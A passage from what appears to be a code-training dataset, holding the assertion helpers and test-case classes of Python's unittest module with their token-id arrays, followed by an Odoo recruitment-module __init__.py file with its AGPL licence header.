differing = 'First %s has no length. Non-sequence?' % (
seq_type_name)
if differing is None:
try:
len2 = len(seq2)
except (TypeError, NotImplementedError):
differing = 'Second %s has no length. Non-sequence?' % (
seq_type_name)
if differing is None:
if seq1 == seq2:
return
differing = '%ss differ: %s != %s\n' % (
(seq_type_name.capitalize(),) +
_common_shorten_repr(seq1, seq2))
for i in range(min(len1, len2)):
try:
item1 = seq1[i]
except (TypeError, IndexError, NotImplementedError):
differing += ('\nUnable to index element %d of first %s\n' %
(i, seq_type_name))
break
try:
item2 = seq2[i]
except (TypeError, IndexError, NotImplementedError):
differing += ('\nUnable to index element %d of second %s\n' %
(i, seq_type_name))
break
if item1 != item2:
differing += ('\nFirst differing element %d:\n%s\n%s\n' %
(i, item1, item2))
break
else:
if (len1 == len2 and seq_type is None and
type(seq1) != type(seq2)):
# The sequences are the same, but have differing types.
return
if len1 > len2:
differing += ('\nFirst %s contains %d additional '
'elements.\n' % (seq_type_name, len1 - len2))
try:
differing += ('First extra element %d:\n%s\n' %
(len2, seq1[len2]))
except (TypeError, IndexError, NotImplementedError):
differing += ('Unable to index element %d '
'of first %s\n' % (len2, seq_type_name))
elif len1 < len2:
differing += ('\nSecond %s contains %d additional '
'elements.\n' % (seq_type_name, len2 - len1))
try:
differing += ('First extra element %d:\n%s\n' %
(len1, seq2[len1]))
except (TypeError, IndexError, NotImplementedError):
differing += ('Unable to index element %d '
'of second %s\n' % (len1, seq_type_name))
standardMsg = differing
diffMsg = '\n' + '\n'.join(
difflib.ndiff(pprint.pformat(seq1).splitlines(),
pprint.pformat(seq2).splitlines()))
standardMsg = self._truncateMessage(standardMsg, diffMsg)
msg = self._formatMessage(msg, standardMsg)
self.fail(msg)
def _truncateMessage(self, message, diff):
max_diff = self.maxDiff
if max_diff is None or len(diff) <= max_diff:
return message + diff
return message + (DIFF_OMITTED % len(diff))
def assertListEqual(self, list1, list2, msg=None):
"""A list-specific equality assertion.
Args:
list1: The first list to compare.
list2: The second list to compare.
msg: Optional message to use on failure instead of a list of
differences.
"""
self.assertSequenceEqual(list1, list2, msg, seq_type=list)
def assertTupleEqual(self, tuple1, tuple2, msg=None):
"""A tuple-specific equality assertion.
Args:
tuple1: The first tuple to compare.
tuple2: The second tuple to compare.
msg: Optional message to use on failure instead of a list of
differences.
"""
self.assertSequenceEqual(tuple1, tuple2, msg, seq_type=tuple)
def assertSetEqual(self, set1, set2, msg=None):
"""A set-specific equality assertion.
Args:
set1: The first set to compare.
set2: The second set to compare.
msg: Optional message to use on failure instead of a list of
differences.
assertSetEqual uses ducktyping to support different types of sets, and
is optimized for sets specifically (parameters must support a
difference method).
"""
try:
difference1 = set1.difference(set2)
except TypeError as e:
self.fail('invalid type when attempting set difference: %s' % e)
except AttributeError as e:
self.fail('first argument does not support set difference: %s' % e)
try:
difference2 = set2.difference(set1)
except TypeError as e:
self.fail('invalid type when attempting set difference: %s' % e)
except AttributeError as e:
self.fail('second argument does not support set difference: %s' % e)
if not (difference1 or difference2):
return
lines = []
if difference1:
lines.append('Items in the first set but not the second:')
for item in difference1:
lines.append(repr(item))
if difference2:
lines.append('Items in the second set but not the first:')
for item in difference2:
lines.append(repr(item))
standardMsg = '\n'.join(lines)
self.fail(self._formatMessage(msg, standardMsg))
def assertIn(self, member, container, msg=None):
"""Just like self.assertTrue(a in b), but with a nicer default message."""
if member not in container:
standardMsg = '%s not found in %s' % (safe_repr(member),
safe_repr(container))
self.fail(self._formatMessage(msg, standardMsg))
def assertNotIn(self, member, container, msg=None):
"""Just like self.assertTrue(a not in b), but with a nicer default message."""
if member in container:
standardMsg = '%s unexpectedly found in %s' % (safe_repr(member),
safe_repr(container))
self.fail(self._formatMessage(msg, standardMsg))
def assertIs(self, expr1, expr2, msg=None):
"""Just like self.assertTrue(a is b), but with a nicer default message."""
if expr1 is not expr2:
standardMsg = '%s is not %s' % (safe_repr(expr1),
safe_repr(expr2))
self.fail(self._formatMessage(msg, standardMsg))
def assertIsNot(self, expr1, expr2, msg=None):
"""Just like self.assertTrue(a is not b), but with a nicer default message."""
if expr1 is expr2:
standardMsg = 'unexpectedly identical: %s' % (safe_repr(expr1),)
self.fail(self._formatMessage(msg, standardMsg))
def assertDictEqual(self, d1, d2, msg=None):
self.assertIsInstance(d1, dict, 'First argument is not a dictionary')
self.assertIsInstance(d2, dict, 'Second argument is not a dictionary')
if d1 != d2:
standardMsg = '%s != %s' % _common_shorten_repr(d1, d2)
diff = ('\n' + '\n'.join(difflib.ndiff(
pprint.pformat(d1).splitlines(),
pprint.pformat(d2).splitlines())))
standardMsg = self._truncateMessage(standardMsg, diff)
self.fail(self._formatMessage(msg, standardMsg))
def assertDictContainsSubset(self, subset, dictionary, msg=None):
"""Checks whether dictionary is a superset of subset."""
warnings.warn('assertDictContainsSubset is deprecated',
DeprecationWarning)
missing = []
mismatched = []
for key, value in subset.items():
if key not in dictionary:
missing.append(key)
elif value != dictionary[key]:
mismatched.append('%s, expected: %s, actual: %s' %
(safe_repr(key), safe_repr(value),
safe_repr(dictionary[key])))
if not (missing or mismatched):
return
standardMsg = ''
if missing:
standardMsg = 'Missing: %s' % ','.join(safe_repr(m) for m in
missing)
if mismatched:
if standardMsg:
standardMsg += '; '
standardMsg += 'Mismatched values: %s' % ','.join(mismatched)
self.fail(self._formatMessage(msg, standardMsg))
def assertCountEqual(self, first, second, msg=None):
"""An unordered sequence comparison asserting that the same elements,
regardless of order. If the same element occurs more than once,
it verifies that the elements occur the same number of times.
self.assertEqual(Counter(list(first)),
Counter(list(second)))
Example:
- [0, 1, 1] and [1, 0, 1] compare equal.
- [0, 0, 1] and [0, 1] compare unequal.
"""
first_seq, second_seq = list(first), list(second)
try:
first = collections.Counter(first_seq)
second = collections.Counter(second_seq)
except TypeError:
# Handle case with unhashable elements
differences = _count_diff_all_purpose(first_seq, second_seq)
else:
if first == second:
return
differences = _count_diff_hashable(first_seq, second_seq)
if differences:
standardMsg = 'Element counts were not equal:\n'
lines = ['First has %d, Second has %d: %r' % diff for diff in differences]
diffMsg = '\n'.join(lines)
standardMsg = self._truncateMessage(standardMsg, diffMsg)
msg = self._formatMessage(msg, standardMsg)
self.fail(msg)
def assertMultiLineEqual(self, first, second, msg=None):
"""Assert that two multi-line strings are equal."""
self.assertIsInstance(first, str, 'First argument is not a string')
self.assertIsInstance(second, str, 'Second argument is not a string')
if first != second:
# don't use difflib if the strings are too long
if (len(first) > self._diffThreshold or
len(second) > self._diffThreshold):
self._baseAssertEqual(first, second, msg)
firstlines = first.splitlines(keepends=True)
secondlines = second.splitlines(keepends=True)
if len(firstlines) == 1 and first.strip('\r\n') == first:
firstlines = [first + '\n']
secondlines = [second + '\n']
standardMsg = '%s != %s' % _common_shorten_repr(first, second)
diff = '\n' + ''.join(difflib.ndiff(firstlines, secondlines))
standardMsg = self._truncateMessage(standardMsg, diff)
self.fail(self._formatMessage(msg, standardMsg))
def assertLess(self, a, b, msg=None):
"""Just like self.assertTrue(a < b), but with a nicer default message."""
if not a < b:
standardMsg = '%s not less than %s' % (safe_repr(a), safe_repr(b))
self.fail(self._formatMessage(msg, standardMsg))
def assertLessEqual(self, a, b, msg=None):
"""Just like self.assertTrue(a <= b), but with a nicer default message."""
if not a <= b:
standardMsg = '%s not less than or equal to %s' % (safe_repr(a), safe_repr(b))
self.fail(self._formatMessage(msg, standardMsg))
def assertGreater(self, a, b, msg=None):
"""Just like self.assertTrue(a > b), but with a nicer default message."""
if not a > b:
standardMsg = '%s not greater than %s' % (safe_repr(a), safe_repr(b))
self.fail(self._formatMessage(msg, standardMsg))
def assertGreaterEqual(self, a, b, msg=None):
"""Just like self.assertTrue(a >= b), but with a nicer default message."""
if not a >= b:
standardMsg = '%s not greater than or equal to %s' % (safe_repr(a), safe_repr(b))
self.fail(self._formatMessage(msg, standardMsg))
def assertIsNone(self, obj, msg=None):
"""Same as self.assertTrue(obj is None), with a nicer default message."""
if obj is not None:
standardMsg = '%s is not None' % (safe_repr(obj),)
self.fail(self._formatMessage(msg, standardMsg))
def assertIsNotNone(self, obj, msg=None):
"""Included for symmetry with assertIsNone."""
if obj is None:
standardMsg = 'unexpectedly None'
self.fail(self._formatMessage(msg, standardMsg))
def assertIsInstance(self, obj, cls, msg=None):
"""Same as self.assertTrue(isinstance(obj, cls)), with a nicer
default message."""
if not isinstance(obj, cls):
standardMsg = '%s is not an instance of %r' % (safe_repr(obj), cls)
self.fail(self._formatMessage(msg, standardMsg))
def assertNotIsInstance(self, obj, cls, msg=None):
"""Included for symmetry with assertIsInstance."""
if isinstance(obj, cls):
standardMsg = '%s is an instance of %r' % (safe_repr(obj), cls)
self.fail(self._formatMessage(msg, standardMsg))
def assertRaisesRegex(self, expected_exception, expected_regex,
callable_obj=None, *args, **kwargs):
"""Asserts that the message in a raised exception matches a regex.
Args:
expected_exception: Exception class expected to be raised.
expected_regex: Regex (re pattern object or string) expected
to be found in error message.
callable_obj: Function to be called.
msg: Optional message used in case of failure. Can only be used
when assertRaisesRegex is used as a context manager.
args: Extra args.
kwargs: Extra kwargs.
"""
context = _AssertRaisesContext(expected_exception, self, callable_obj,
expected_regex)
return context.handle('assertRaisesRegex', callable_obj, args, kwargs)
def assertWarnsRegex(self, expected_warning, expected_regex,
callable_obj=None, *args, **kwargs):
"""Asserts that the message in a triggered warning matches a regexp.
Basic functioning is similar to assertWarns() with the addition
that only warnings whose messages also match the regular expression
are considered successful matches.
Args:
expected_warning: Warning class expected to be triggered.
expected_regex: Regex (re pattern object or string) expected
to be found in error message.
callable_obj: Function to be called.
msg: Optional message used in case of failure. Can only be used
when assertWarnsRegex is used as a context manager.
args: Extra args.
kwargs: Extra kwargs.
"""
context = _AssertWarnsContext(expected_warning, self, callable_obj,
expected_regex)
return context.handle('assertWarnsRegex', callable_obj, args, kwargs)
def assertRegex(self, text, expected_regex, msg=None):
"""Fail the test unless the text matches the regular expression."""
if isinstance(expected_regex, (str, bytes)):
assert expected_regex, "expected_regex must not be empty."
expected_regex = re.compile(expected_regex)
if not expected_regex.search(text):
msg = msg or "Regex didn't match"
msg = '%s: %r not found in %r' % (msg, expected_regex.pattern, text)
raise self.failureException(msg)
def assertNotRegex(self, text, unexpected_regex, msg=None):
"""Fail the test if the text matches the regular expression."""
if isinstance(unexpected_regex, (str, bytes)):
unexpected_regex = re.compile(unexpected_regex)
match = unexpected_regex.search(text)
if match:
msg = msg or "Regex matched"
msg = '%s: %r matches %r in %r' % (msg,
text[match.start():match.end()],
unexpected_regex.pattern,
text)
raise self.failureException(msg)
def _deprecate(original_func):
def deprecated_func(*args, **kwargs):
warnings.warn(
'Please use {0} instead.'.format(original_func.__name__),
DeprecationWarning, 2)
return original_func(*args, **kwargs)
return deprecated_func
# see #9424
failUnlessEqual = assertEquals = _deprecate(assertEqual)
failIfEqual = assertNotEquals = _deprecate(assertNotEqual)
failUnlessAlmostEqual = assertAlmostEquals = _deprecate(assertAlmostEqual)
failIfAlmostEqual = assertNotAlmostEquals = _deprecate(assertNotAlmostEqual)
failUnless = assert_ = _deprecate(assertTrue)
failUnlessRaises = _deprecate(assertRaises)
failIf = _deprecate(assertFalse)
assertRaisesRegexp = _deprecate(assertRaisesRegex)
assertRegexpMatches = _deprecate(assertRegex)
class FunctionTestCase(TestCase):
"""A test case that wraps a test function.
This is useful for slipping pre-existing test functions into the
unittest framework. Optionally, set-up and tidy-up functions can be
supplied. As with TestCase, the tidy-up ('tearDown') function will
always be called if the set-up ('setUp') function ran successfully.
"""
def __init__(self, testFunc, setUp=None, tearDown=None, description=None):
super(FunctionTestCase, self).__init__()
self._setUpFunc = setUp
self._tearDownFunc = tearDown
self._testFunc = testFunc
self._description = description
def setUp(self):
if self._setUpFunc is not None:
self._setUpFunc()
def tearDown(self):
if self._tearDownFunc is not None:
self._tearDownFunc()
def runTest(self):
self._testFunc()
def id(self):
return self._testFunc.__name__
def __eq__(self, other):
if not isinstance(other, self.__class__):
return NotImplemented
return self._setUpFunc == other._setUpFunc and \
self._tearDownFunc == other._tearDownFunc and \
self._testFunc == other._testFunc and \
self._description == other._description
def __ne__(self, other):
return not self == other
def __hash__(self):
return hash((type(self), self._setUpFunc, self._tearDownFunc,
self._testFunc, self._description))
def __str__(self):
return "%s (%s)" % (strclass(self.__class__),
self._testFunc.__name__)
def __repr__(self):
return "<%s tec=%s>" % (strclass(self.__class__),
self._testFunc)
def shortDescription(self):
if self._description is not None:
return self._description
doc = self._testFunc.__doc__
return doc and doc.split("\n")[0].strip() or None
class _SubTest(TestCase):
def __init__(self, test_case, message, params):
super().__init__()
self._message = message
self.test_case = test_case
self.params = params
self.failureException = test_case.failureException
def runTest(self):
raise NotImplementedError("subtests cannot be run directly")
def _subDescription(self):
parts = []
if self._message:
parts.append("[{}]".format(self._message))
if self.params:
params_desc = ', '.join(
"{}={!r}".format(k, v)
for (k, v) in sorted(self.params.items()))
parts.append("({})".format(params_desc))
return " ".join(parts) or '(<subtest>)'
def id(self):
return "{} {}".format(self.test_case.id(), self._subDescription())
def shortDescription(self):
"""Returns a one-line description of the subtest, or None if no
description has been provided.
"""
return self.test_case.shortDescription()
def __str__(self):
return "{} {}".format(self.test_case, self._subDescription())
|
lgpl-3.0
|
[
624,
774,
1930,
4514,
624,
199,
199,
646,
984,
199,
646,
9143,
199,
646,
27070,
199,
646,
2050,
199,
646,
10933,
199,
646,
295,
199,
646,
3598,
199,
646,
5055,
199,
646,
15502,
199,
646,
5190,
199,
199,
504,
1275,
492,
754,
199,
504,
1275,
1974,
492,
334,
495,
533,
12,
5048,
63,
2722,
12,
485,
835,
63,
3028,
63,
452,
63,
22615,
12,
673,
485,
835,
63,
3028,
63,
24596,
12,
485,
2330,
63,
30686,
63,
2722,
9,
199,
199,
363,
2796,
275,
715,
421,
199,
10596,
63,
7474,
20779,
1149,
275,
17485,
78,
10746,
365,
450,
83,
4110,
1846,
14,
283,
326,
283,
1084,
291,
14,
988,
10746,
370,
488,
370,
1937,
652,
2659,
199,
199,
533,
18795,
8,
1726,
304,
272,
408,
272,
14771,
642,
1919,
315,
282,
511,
370,
3372,
652,
14,
339,
24612,
1265,
883,
675,
7640,
14,
23809,
342,
503,
1373,
402,
314,
16068,
20419,
272,
3140,
402,
17026,
642,
5370,
14,
272,
408,
199,
199,
533,
485,
11408,
6293,
8,
1726,
304,
272,
408,
272,
710,
511,
1077,
3631,
14,
272,
408,
199,
199,
533,
485,
8708,
8300,
8,
1726,
304,
272,
408,
272,
710,
511,
1990,
20042,
370,
2449,
12,
1325,
652,
9980,
1133,
1,
272,
408,
421,
199,
533,
485,
2204,
4352,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
754,
29,
403,
304,
267,
291,
14,
4921,
316,
63,
5328,
275,
756,
267,
291,
14,
1099,
275,
754,
267,
291,
14,
1099,
63,
9823,
63,
954,
2219,
275,
2688,
8,
1099,
12,
298,
525,
2610,
774,
531,
267,
291,
14,
3742,
275,
715,
267,
291,
14,
11962,
275,
942,
267,
291,
14,
2062,
6782,
275,
488,
267,
291,
14,
2550,
275,
942,
339,
768,
23464,
14,
14237,
272,
347,
511,
8416,
16752,
8,
277,
12,
511,
63,
2546,
12,
365,
774,
29,
797,
304,
267,
2269,
63,
3742,
275,
291,
14,
3742,
267,
291,
14,
3742,
275,
715,
267,
862,
26,
288,
1995,
267,
871,
13483,
26,
288,
746,
267,
871,
18795,
465,
325,
26,
288,
291,
14,
3742,
275,
756,
288,
291,
14,
11962,
14,
740,
1332,
396,
63,
2546,
12,
620,
8,
69,
1724,
267,
871,
485,
11408,
6293,
26,
288,
986,
267,
871,
26,
288,
3178,
63,
815,
275,
984,
14,
2804,
63,
815,
342,
288,
340,
291,
14,
4921,
316,
63,
5328,
26,
355,
291,
14,
2062,
6782,
275,
3178,
63,
815,
288,
587,
26,
355,
291,
14,
3742,
275,
756,
355,
291,
14,
2550,
14,
740,
1332,
396,
63,
2546,
12,
3178,
63,
815,
430,
288,
327,
7662,
2059,
282,
3659,
8643,
26,
288,
327,
3178,
63,
815,
1035,
2787,
1035,
3178,
63,
815,
288,
3178,
63,
815,
275,
488,
267,
587,
26,
288,
340,
291,
14,
1099,
63,
9823,
63,
954,
2219,
436,
291,
14,
3742,
26,
355,
291,
14,
2550,
14,
740,
1332,
396,
63,
2546,
12,
488,
430,
267,
3753,
26,
288,
291,
14,
3742,
275,
291,
14,
3742,
436,
2269,
63,
3742,
421,
199,
318,
485,
344,
8,
1113,
304,
272,
372,
1559,
199,
199,
318,
3372,
8,
5764,
304,
272,
408,
272,
1910,
31565,
3372,
282,
511,
14,
272,
408,
272,
347,
7531,
8,
396,
63,
1053,
304,
267,
340,
440,
1228,
8,
396,
63,
1053,
12,
730,
304,
288,
768,
17869,
14,
13582,
8,
396,
63,
1053,
9,
288,
347,
3372,
63,
5029,
2031,
589,
12,
1011,
958,
304,
355,
746,
18795,
8,
5764,
9,
288,
511,
63,
1053,
275,
3372,
63,
5029,
398,
511,
63,
1053,
855,
2796,
63,
2759,
363,
275,
715,
267,
511,
63,
1053,
855,
2796,
63,
2759,
63,
26460,
363,
275,
4499,
267,
372,
511,
63,
1053,
272,
372,
7531,
199,
199,
318,
3372,
3917,
8,
5394,
12,
4499,
304,
272,
408,
272,
8232,
282,
511,
340,
314,
5558,
365,
2549,
14,
272,
408,
272,
340,
5558,
26,
267,
372,
3372,
8,
5764,
9,
272,
372,
485,
344,
199,
199,
318,
3372,
5524,
8,
5394,
12,
4499,
304,
272,
408,
272,
8232,
282,
511,
7444,
314,
5558,
365,
2549,
14,
272,
408,
272,
340,
440,
5558,
26,
267,
372,
3372,
8,
5764,
9,
272,
372,
485,
344,
199,
199,
318,
1420,
6782,
8,
396,
63,
1053,
304,
272,
511,
63,
1053,
855,
2796,
63,
4921,
316,
63,
5328,
363,
275,
715,
272,
372,
511,
63,
1053,
421,
199,
533,
485,
20760,
2998,
26,
339,
347,
636,
826,
721,
277,
12,
511,
63,
2546,
304,
267,
291,
14,
396,
63,
2546,
275,
511,
63,
2546,
339,
347,
485,
3730,
6782,
8,
277,
12,
20563,
304,
267,
1499,
275,
291,
14,
396,
63,
2546,
423,
29097,
8,
277,
14,
1328,
12,
20563,
9,
267,
746,
291,
14,
396,
63,
2546,
14,
15935,
8,
1328,
9,
421,
199,
533,
485,
9699,
1811,
1563,
2998,
1547,
20760,
2998,
304,
339,
347,
636,
826,
721,
277,
12,
1420,
12,
511,
63,
2546,
12,
4550,
63,
1113,
29,
403,
12,
326,
1420,
63,
3821,
29,
403,
304,
267,
485,
20760,
2998,
855,
826,
721,
277,
12,
511,
63,
2546,
9,
267,
291,
14,
2062,
275,
1420,
267,
291,
14,
396,
63,
2546,
275,
511,
63,
2546,
267,
340,
4550,
63,
1113,
365,
440,
488,
26,
288,
862,
26,
355,
291,
14,
1113,
63,
354,
275,
4550,
63,
1113,
855,
354,
363,
288,
871,
4281,
26,
355,
291,
14,
1113,
63,
354,
275,
620,
8,
8296,
63,
1113,
9,
267,
587,
26,
288,
291,
14,
1113,
63,
354,
275,
488,
267,
340,
1420,
63,
3821,
365,
440,
488,
26,
288,
1420,
63,
3821,
275,
295,
14,
2014,
8,
2062,
63,
3821,
9,
267,
291,
14,
2062,
63,
3821,
275,
1420,
63,
3821,
267,
291,
14,
1328,
275,
488,
339,
347,
2429,
8,
277,
12,
536,
12,
4550,
63,
1113,
12,
1249,
12,
2074,
304,
267,
408,
267,
982,
4550,
63,
1113,
365,
488,
12,
702,
1811,
15,
29917,
365,
3769,
1202,
465,
282,
267,
1067,
5256,
12,
880,
1104,
367,
282,
283,
1328,
7,
17582,
436,
372,
291,
14,
267,
982,
4550,
63,
1113,
365,
440,
488,
12,
1240,
652,
9476,
1249,
436,
2074,
14,
267,
408,
267,
340,
4550,
63,
1113,
365,
488,
26,
288,
291,
14,
1328,
275,
2074,
14,
1935
] |
[
774,
1930,
4514,
624,
199,
199,
646,
984,
199,
646,
9143,
199,
646,
27070,
199,
646,
2050,
199,
646,
10933,
199,
646,
295,
199,
646,
3598,
199,
646,
5055,
199,
646,
15502,
199,
646,
5190,
199,
199,
504,
1275,
492,
754,
199,
504,
1275,
1974,
492,
334,
495,
533,
12,
5048,
63,
2722,
12,
485,
835,
63,
3028,
63,
452,
63,
22615,
12,
673,
485,
835,
63,
3028,
63,
24596,
12,
485,
2330,
63,
30686,
63,
2722,
9,
199,
199,
363,
2796,
275,
715,
421,
199,
10596,
63,
7474,
20779,
1149,
275,
17485,
78,
10746,
365,
450,
83,
4110,
1846,
14,
283,
326,
283,
1084,
291,
14,
988,
10746,
370,
488,
370,
1937,
652,
2659,
199,
199,
533,
18795,
8,
1726,
304,
272,
408,
272,
14771,
642,
1919,
315,
282,
511,
370,
3372,
652,
14,
339,
24612,
1265,
883,
675,
7640,
14,
23809,
342,
503,
1373,
402,
314,
16068,
20419,
272,
3140,
402,
17026,
642,
5370,
14,
272,
408,
199,
199,
533,
485,
11408,
6293,
8,
1726,
304,
272,
408,
272,
710,
511,
1077,
3631,
14,
272,
408,
199,
199,
533,
485,
8708,
8300,
8,
1726,
304,
272,
408,
272,
710,
511,
1990,
20042,
370,
2449,
12,
1325,
652,
9980,
1133,
1,
272,
408,
421,
199,
533,
485,
2204,
4352,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
754,
29,
403,
304,
267,
291,
14,
4921,
316,
63,
5328,
275,
756,
267,
291,
14,
1099,
275,
754,
267,
291,
14,
1099,
63,
9823,
63,
954,
2219,
275,
2688,
8,
1099,
12,
298,
525,
2610,
774,
531,
267,
291,
14,
3742,
275,
715,
267,
291,
14,
11962,
275,
942,
267,
291,
14,
2062,
6782,
275,
488,
267,
291,
14,
2550,
275,
942,
339,
768,
23464,
14,
14237,
272,
347,
511,
8416,
16752,
8,
277,
12,
511,
63,
2546,
12,
365,
774,
29,
797,
304,
267,
2269,
63,
3742,
275,
291,
14,
3742,
267,
291,
14,
3742,
275,
715,
267,
862,
26,
288,
1995,
267,
871,
13483,
26,
288,
746,
267,
871,
18795,
465,
325,
26,
288,
291,
14,
3742,
275,
756,
288,
291,
14,
11962,
14,
740,
1332,
396,
63,
2546,
12,
620,
8,
69,
1724,
267,
871,
485,
11408,
6293,
26,
288,
986,
267,
871,
26,
288,
3178,
63,
815,
275,
984,
14,
2804,
63,
815,
342,
288,
340,
291,
14,
4921,
316,
63,
5328,
26,
355,
291,
14,
2062,
6782,
275,
3178,
63,
815,
288,
587,
26,
355,
291,
14,
3742,
275,
756,
355,
291,
14,
2550,
14,
740,
1332,
396,
63,
2546,
12,
3178,
63,
815,
430,
288,
327,
7662,
2059,
282,
3659,
8643,
26,
288,
327,
3178,
63,
815,
1035,
2787,
1035,
3178,
63,
815,
288,
3178,
63,
815,
275,
488,
267,
587,
26,
288,
340,
291,
14,
1099,
63,
9823,
63,
954,
2219,
436,
291,
14,
3742,
26,
355,
291,
14,
2550,
14,
740,
1332,
396,
63,
2546,
12,
488,
430,
267,
3753,
26,
288,
291,
14,
3742,
275,
291,
14,
3742,
436,
2269,
63,
3742,
421,
199,
318,
485,
344,
8,
1113,
304,
272,
372,
1559,
199,
199,
318,
3372,
8,
5764,
304,
272,
408,
272,
1910,
31565,
3372,
282,
511,
14,
272,
408,
272,
347,
7531,
8,
396,
63,
1053,
304,
267,
340,
440,
1228,
8,
396,
63,
1053,
12,
730,
304,
288,
768,
17869,
14,
13582,
8,
396,
63,
1053,
9,
288,
347,
3372,
63,
5029,
2031,
589,
12,
1011,
958,
304,
355,
746,
18795,
8,
5764,
9,
288,
511,
63,
1053,
275,
3372,
63,
5029,
398,
511,
63,
1053,
855,
2796,
63,
2759,
363,
275,
715,
267,
511,
63,
1053,
855,
2796,
63,
2759,
63,
26460,
363,
275,
4499,
267,
372,
511,
63,
1053,
272,
372,
7531,
199,
199,
318,
3372,
3917,
8,
5394,
12,
4499,
304,
272,
408,
272,
8232,
282,
511,
340,
314,
5558,
365,
2549,
14,
272,
408,
272,
340,
5558,
26,
267,
372,
3372,
8,
5764,
9,
272,
372,
485,
344,
199,
199,
318,
3372,
5524,
8,
5394,
12,
4499,
304,
272,
408,
272,
8232,
282,
511,
7444,
314,
5558,
365,
2549,
14,
272,
408,
272,
340,
440,
5558,
26,
267,
372,
3372,
8,
5764,
9,
272,
372,
485,
344,
199,
199,
318,
1420,
6782,
8,
396,
63,
1053,
304,
272,
511,
63,
1053,
855,
2796,
63,
4921,
316,
63,
5328,
363,
275,
715,
272,
372,
511,
63,
1053,
421,
199,
533,
485,
20760,
2998,
26,
339,
347,
636,
826,
721,
277,
12,
511,
63,
2546,
304,
267,
291,
14,
396,
63,
2546,
275,
511,
63,
2546,
339,
347,
485,
3730,
6782,
8,
277,
12,
20563,
304,
267,
1499,
275,
291,
14,
396,
63,
2546,
423,
29097,
8,
277,
14,
1328,
12,
20563,
9,
267,
746,
291,
14,
396,
63,
2546,
14,
15935,
8,
1328,
9,
421,
199,
533,
485,
9699,
1811,
1563,
2998,
1547,
20760,
2998,
304,
339,
347,
636,
826,
721,
277,
12,
1420,
12,
511,
63,
2546,
12,
4550,
63,
1113,
29,
403,
12,
326,
1420,
63,
3821,
29,
403,
304,
267,
485,
20760,
2998,
855,
826,
721,
277,
12,
511,
63,
2546,
9,
267,
291,
14,
2062,
275,
1420,
267,
291,
14,
396,
63,
2546,
275,
511,
63,
2546,
267,
340,
4550,
63,
1113,
365,
440,
488,
26,
288,
862,
26,
355,
291,
14,
1113,
63,
354,
275,
4550,
63,
1113,
855,
354,
363,
288,
871,
4281,
26,
355,
291,
14,
1113,
63,
354,
275,
620,
8,
8296,
63,
1113,
9,
267,
587,
26,
288,
291,
14,
1113,
63,
354,
275,
488,
267,
340,
1420,
63,
3821,
365,
440,
488,
26,
288,
1420,
63,
3821,
275,
295,
14,
2014,
8,
2062,
63,
3821,
9,
267,
291,
14,
2062,
63,
3821,
275,
1420,
63,
3821,
267,
291,
14,
1328,
275,
488,
339,
347,
2429,
8,
277,
12,
536,
12,
4550,
63,
1113,
12,
1249,
12,
2074,
304,
267,
408,
267,
982,
4550,
63,
1113,
365,
488,
12,
702,
1811,
15,
29917,
365,
3769,
1202,
465,
282,
267,
1067,
5256,
12,
880,
1104,
367,
282,
283,
1328,
7,
17582,
436,
372,
291,
14,
267,
982,
4550,
63,
1113,
365,
440,
488,
12,
1240,
652,
9476,
1249,
436,
2074,
14,
267,
408,
267,
340,
4550,
63,
1113,
365,
488,
26,
288,
291,
14,
1328,
275,
2074,
14,
1935,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
erkrishna9/odoo
|
addons/hr_recruitment/__init__.py
|
433
|
1145
|
# -*- encoding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). All Rights Reserved
# $Id$
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import hr_recruitment
import report
import wizard
import res_config
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
agpl-3.0
|
[
3,
1882,
2644,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
8664,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
2900,
